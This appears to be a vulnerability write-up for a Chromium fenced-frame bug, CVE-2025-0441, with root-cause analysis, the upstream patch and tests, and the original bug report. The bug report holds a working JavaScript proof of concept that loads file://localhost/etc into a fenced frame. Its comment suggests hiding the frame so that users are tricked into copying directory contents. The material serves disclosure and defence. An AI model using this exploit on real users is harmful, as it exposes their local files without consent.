CVE-2025-0441
Overview
Background
- Fenced frame
- An isolated embedded frame in Blink that restricts communication with its embedder for privacy, and whose loadable URLs are constrained by a default-constructor allowlist.
- `IsValidFencedFrameURL`
- The
blinkcommon helper that decides whether a givenGURLis permitted to load inside a fenced frame. - `net::IsLocalhost`
- A
netutility that returns true when a URL’s host resolves to localhost (e.g.localhost,127.0.0.1,[::1]), independent of the URL’s scheme. - `GURL::SchemeIs`
- A
GURLmethod that checks whether the URL’s scheme equals a specified scheme constant such asurl::kHttpScheme.
Root Cause Analysis
The allowlist in IsValidFencedFrameURL intended to permit only https://* URLs, about:blank, and http://localhost URLs. To cover the localhost case it called net::IsLocalhost(url), but that function only inspects the host component and never checks the scheme. As a result any URL whose host was localhost passed the check regardless of scheme, so a URL like file://localhost/path/to/file was treated as a valid fenced frame URL — violating the invariant that only http/https (and about:blank) schemes should ever be loadable.
The fix introduces an anonymous-namespace helper IsHttpLocalhost that requires both url.SchemeIs(url::kHttpScheme) and net::IsLocalhost(url), and substitutes it for the bare net::IsLocalhost call. The https://localhost case remains covered by the pre-existing url::kHttpsScheme branch, so tightening to the http scheme loses no legitimate functionality while closing the file:// bypass.
net::IsLocalhost) as a stand-in for a scheme-plus-host condition, letting non-http schemes slip through; the fix pairs the host check with an explicit SchemeIs(url::kHttpScheme) test via the new IsHttpLocalhost helper.Attack Path
- Craft a localhost `file://` URL
An attacker constructs a URL such as
file://localhost/path/to/filewhose host is literallylocalhostbut whose scheme isfile. - Assign it to a fenced frame
The page creates an
HTMLFencedFrameElementand sets its config to that URL viaFencedFrameConfig::Create. - Bypass the scheme allowlist
IsValidFencedFrameURLcallsnet::IsLocalhost, which returns true on host alone, so thefile://URL is accepted despite not beinghttp/https/about:blank. - Load local content in an isolated frame
The fenced frame proceeds to navigate to the
file://resource, loading local-filesystem content in a context where the sandboxed/isolated fenced frame boundary was not designed to host it.
Impact Assessment
file:// (and other non-http localhost-hosted) URLs inside a fenced frame in the renderer process, which the fenced frame threat model never intended to permit. The precondition is the ability to create or configure a fenced frame with an attacker-chosen URL string; the payoff is an inappropriate-implementation logic bypass that escapes the intended scheme allowlist, potentially exposing local resources within the privacy-isolated frame.Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fthird_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc |
modified | |
forthird_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc |
modified |
Files Changed
third_party/blink/common/fenced_frame/fenced_frame_utils.ccthird_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.ccthird_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
Audit Directions
- Host-only predicates gating scheme-sensitive decisionsSearch for calls to
net::IsLocalhost(and similar host/origin helpers) that are used to authorize loads or grant capabilities without an accompanyingSchemeIscheck. - Allowlist checks assuming implicit schemeReview URL validators like
IsValidFencedFrameURLacross features (portals, prerender, prefetch, service workers) where a “localhost is fine” rule may admitfile://,blob:, or other unexpected schemes. - `file://` and `blob:` acceptance in isolated contextsAudit fenced frames, sandboxed iframes, and other privacy/isolation boundaries for code paths that fail to explicitly reject non-
http/httpsschemes before navigation.
Patch
From 3505b15143306c95caf36552fef3992271d6b04e Mon Sep 17 00:00:00 2001 From: Liam Brady <[email protected]> Date: Tue, 15 Oct 2024 19:43:24 +0000 Subject: [PATCH] Fenced frame: Prevent file://localhost/* files from loading. Fenced frames are meant to be able to load the following URLs with a default constructor: - about:blank URLs - https://* URLs - http://localhost URLs The `net::IsLocalhost()` check that is currently being used for the last case is only checking that the URL starts with "localhost", not that the scheme is http/https. This allows the fenced frame to load URLs like file://localhost/path/to/file. This CL tightens the check to also check that the scheme is HTTP. The "https://localhost/*" case will still be covered by the "https://*" check. Bug: 368628042 Change-Id: If53573f5701c28e5674ecb524191cddc12b950fe Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/5902121 Reviewed-by: Shivani Sharma <[email protected]> Commit-Queue: Liam Brady <[email protected]> Cr-Commit-Position: refs/heads/main@{#1368957} --- diff --git a/third_party/blink/common/fenced_frame/fenced_frame_utils.cc b/third_party/blink/common/fenced_frame/fenced_frame_utils.cc index 18c6d28..0ddbcdd 100644 --- a/third_party/blink/common/fenced_frame/fenced_frame_utils.cc +++ b/third_party/blink/common/fenced_frame/fenced_frame_utils.cc @@ -14,13 +14,21 @@ #include "third_party/blink/public/common/frame/fenced_frame_sandbox_flags.h" #include "url/gurl.h" +namespace { + +bool IsHttpLocalhost(const GURL& url) { + return url.SchemeIs(url::kHttpScheme) && net::IsLocalhost(url); +} + +} // namespace + namespace blink { bool IsValidFencedFrameURL(const GURL& url) { if (!url.is_valid()) return false; return (url.SchemeIs(url::kHttpsScheme) || url.IsAboutBlank() || - net::IsLocalhost(url)) && + IsHttpLocalhost(url)) && !url.parsed_for_possibly_invalid_spec().potentially_dangling_markup; } diff --git a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc index 16a38e3..08a2eb2 100644 --- a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc +++ b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc @@ -188,27 +188,24 @@ } TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlHTTPDefault) { + std::vector<String> test_cases = { + "http://example.com", + "blob:https://example.com", + "file://path/to/file", + "file://localhost/path/to/file", + }; + Document& doc = GetDocument(); - auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc); - fenced_frame->setConfig( - FencedFrameConfig::Create(String("http://example.com/"))); - doc.body()->AppendChild(fenced_frame); + for (const String& url : test_cases) { + auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc); + fenced_frame->setConfig(FencedFrameConfig::Create(url)); + doc.body()->AppendChild(fenced_frame); + } + histogram_tester_.ExpectUniqueSample( kFencedFrameCreationOrNavigationOutcomeHistogram, - FencedFrameCreationOutcome::kIncompatibleURLDefault, 1); -} - -TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlOpaque) { - Document& doc = GetDocument(); - - auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc); - fenced_frame->setConfig( - FencedFrameConfig::Create(String("http://example.com"))); - doc.body()->AppendChild(fenced_frame); - histogram_tester_.ExpectUniqueSample( - kFencedFrameCreationOrNavigationOutcomeHistogram, - FencedFrameCreationOutcome::kIncompatibleURLDefault, 1); + FencedFrameCreationOutcome::kIncompatibleURLDefault, test_cases.size()); } TEST_F(HTMLFencedFrameElementTest, HistogramTestResizeAfterFreeze) { diff --git a/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html new file mode 100644 index 0000000..a8b16d7 --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html @@ -0,0 +1,25 @@ +<!DOCTYPE html> +<title>Test navigate fenced frame to http://localhost URL</title> +<script src="/resources/testharness.js"></script> +<script src="/resources/testharnessreport.js"></script> +<script src="/common/utils.js"></script> +<script src="resources/utils.js"></script> +<script src="/common/utils.js"></script> +<script src="/common/get-host-info.sub.js"></script> + +<body> +<script> +promise_test(async (t) => { + const key = token(); + const url = generateURL("http://localhost:" + get_host_info().HTTP_PORT + + "/fenced-frame/resources/embeddee.html", [key]); + attachFencedFrame(url); + + const result = await nextValueFromServer(key); + assert_equals(result, "PASS", + "The fenced frame should load a http://localhost URL."); +}, 'http://localhost URLs can load'); + +</script> +</body> +</html>
Regression Test / PoC
diff --git a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
index 16a38e3..08a2eb2 100644
--- a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
+++ b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
@@ -188,27 +188,24 @@
}
TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlHTTPDefault) {
+ std::vector<String> test_cases = {
+ "http://example.com",
+ "blob:https://example.com",
+ "file://path/to/file",
+ "file://localhost/path/to/file",
+ };
+
Document& doc = GetDocument();
- auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
- fenced_frame->setConfig(
- FencedFrameConfig::Create(String("http://example.com/")));
- doc.body()->AppendChild(fenced_frame);
+ for (const String& url : test_cases) {
+ auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
+ fenced_frame->setConfig(FencedFrameConfig::Create(url));
+ doc.body()->AppendChild(fenced_frame);
+ }
+
histogram_tester_.ExpectUniqueSample(
kFencedFrameCreationOrNavigationOutcomeHistogram,
- FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
-}
-
-TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlOpaque) {
- Document& doc = GetDocument();
-
- auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
- fenced_frame->setConfig(
- FencedFrameConfig::Create(String("http://example.com")));
- doc.body()->AppendChild(fenced_frame);
- histogram_tester_.ExpectUniqueSample(
- kFencedFrameCreationOrNavigationOutcomeHistogram,
- FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
+ FencedFrameCreationOutcome::kIncompatibleURLDefault, test_cases.size());
}
TEST_F(HTMLFencedFrameElementTest, HistogramTestResizeAfterFreeze) {
diff --git a/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
new file mode 100644
index 0000000..a8b16d7
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<title>Test navigate fenced frame to http://localhost URL</title>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script src="/common/utils.js"></script>
+<script src="resources/utils.js"></script>
+<script src="/common/utils.js"></script>
+<script src="/common/get-host-info.sub.js"></script>
+
+<body>
+<script>
+promise_test(async (t) => {
+ const key = token();
+ const url = generateURL("http://localhost:" + get_host_info().HTTP_PORT +
+ "/fenced-frame/resources/embeddee.html", [key]);
+ attachFencedFrame(url);
+
+ const result = await nextValueFromServer(key);
+ assert_equals(result, "PASS",
+ "The fenced frame should load a http://localhost URL.");
+}, 'http://localhost URLs can load');
+
+</script>
+</body>
+</html>
Original Bug Report
FencedFrame allows loading local file directories in http(s?) context
Steps to reproduce the problem
- Enable fenced frame for your PoC server (#privacy-sandbox-enrollment-overrides flag, add your PoC server domain to this list; or do PoC on websites where fencedframe usage is allowed by default)
- serve exploit.html file, navigate to //$my_poc_server_url/exploit.html
- observe fencedframe displaying file:///etc folder
PoC (exploit.html)
<body>
<script>
(async function start() {
var frame = document.body.appendChild(document.createElement("fencedframe"))
frame.setAttribute("height", "600")
frame.setAttribute("width", "600")
// we can make the iframe not visible to user to trick them into running cmd+a + cmd+c to steal the contents of the folder through clipboard
// frame.setAttribute('style', `position: absolute; left: -2000; width: 5000px; height: 5000px;`)
const blob = new Blob([``], { type: 'text/javascript' });
const blobURL = URL.createObjectURL(blob);
await window.sharedStorage.worklet.addModule(blobURL);
var fencedFrameConfig = await window.sharedStorage.selectURL(
'ab-testing',
[
{ url: "file://localhost/etc" },
],
{
resolveToConfig: true
}
);
frame.config = fencedFrameConfig;
}());
</script>
</body>
Problem Description
any ://localhost/ URI is a valid fenced frame URI https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/common/fenced_frame/fenced_frame_utils.cc;l=19
bool IsValidFencedFrameURL(const GURL& url) {
if (!url.is_valid())
return false;
return (url.SchemeIs(url::kHttpsScheme) || url.IsAboutBlank() ||
net::IsLocalhost(url)) && // <--------- does not check for protocol
!url.parsed_for_possibly_invalid_spec().potentially_dangling_markup;
}
Why can’t we load file://localhost/etc/passwd then? (theory, I’ve not confirmed it yet) https://source.chromium.org/chromium/chromium/src/+/main:content/browser/renderer_host/navigation_request.cc;l=4482-4501?q=%22Supports-Loading-Mode%20HTTP%20response%20header%22&ss=chromium%2Fchromium%2Fsrc
response to request for file directories has no headers, I suspect (not confirmed yet) that’s why should_enforce_fenced_frame_opt_in evaluates to false and the error is not thrown.
const bool should_enforce_fenced_frame_opt_in =
response_should_be_rendered_ && response_head_->headers &&
frame_tree_node_->IsInFencedFrameTree() &&
!(url.IsAboutBlank() || url.SchemeIsBlob() ||
url.SchemeIs(url::kDataScheme));
if (should_enforce_fenced_frame_opt_in &&
!IsOptedInFencedFrame(*response_head_->headers))
Version affects both stable and canary
Summary
FencedFrame allows loading local file directories in http(s?) context
Custom Questions
Reporter credit:
someoneverycurious
Additional Data
Category: Security
Chrome Channel: Stable
Regression: N/A
- https://source.chromium.org/chromium/chromium/src/+/main:content/browser/renderer_host/navigation_request.cc;l=4482-4501?q="Supports-Loading-Mode HTTP response header"&ss=chromium/chromium/src
- https://source.chromium.org/chromium/chromium/src/+/main:content/browser/renderer_host/navigation_request.cc;l=4482-4501?q=%22Supports-Loading-Mode%20HTTP%20response%20header%22&ss=chromium%2Fchromium%2Fsrc
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/common/fenced_frame/fenced_frame_utils.cc;l=19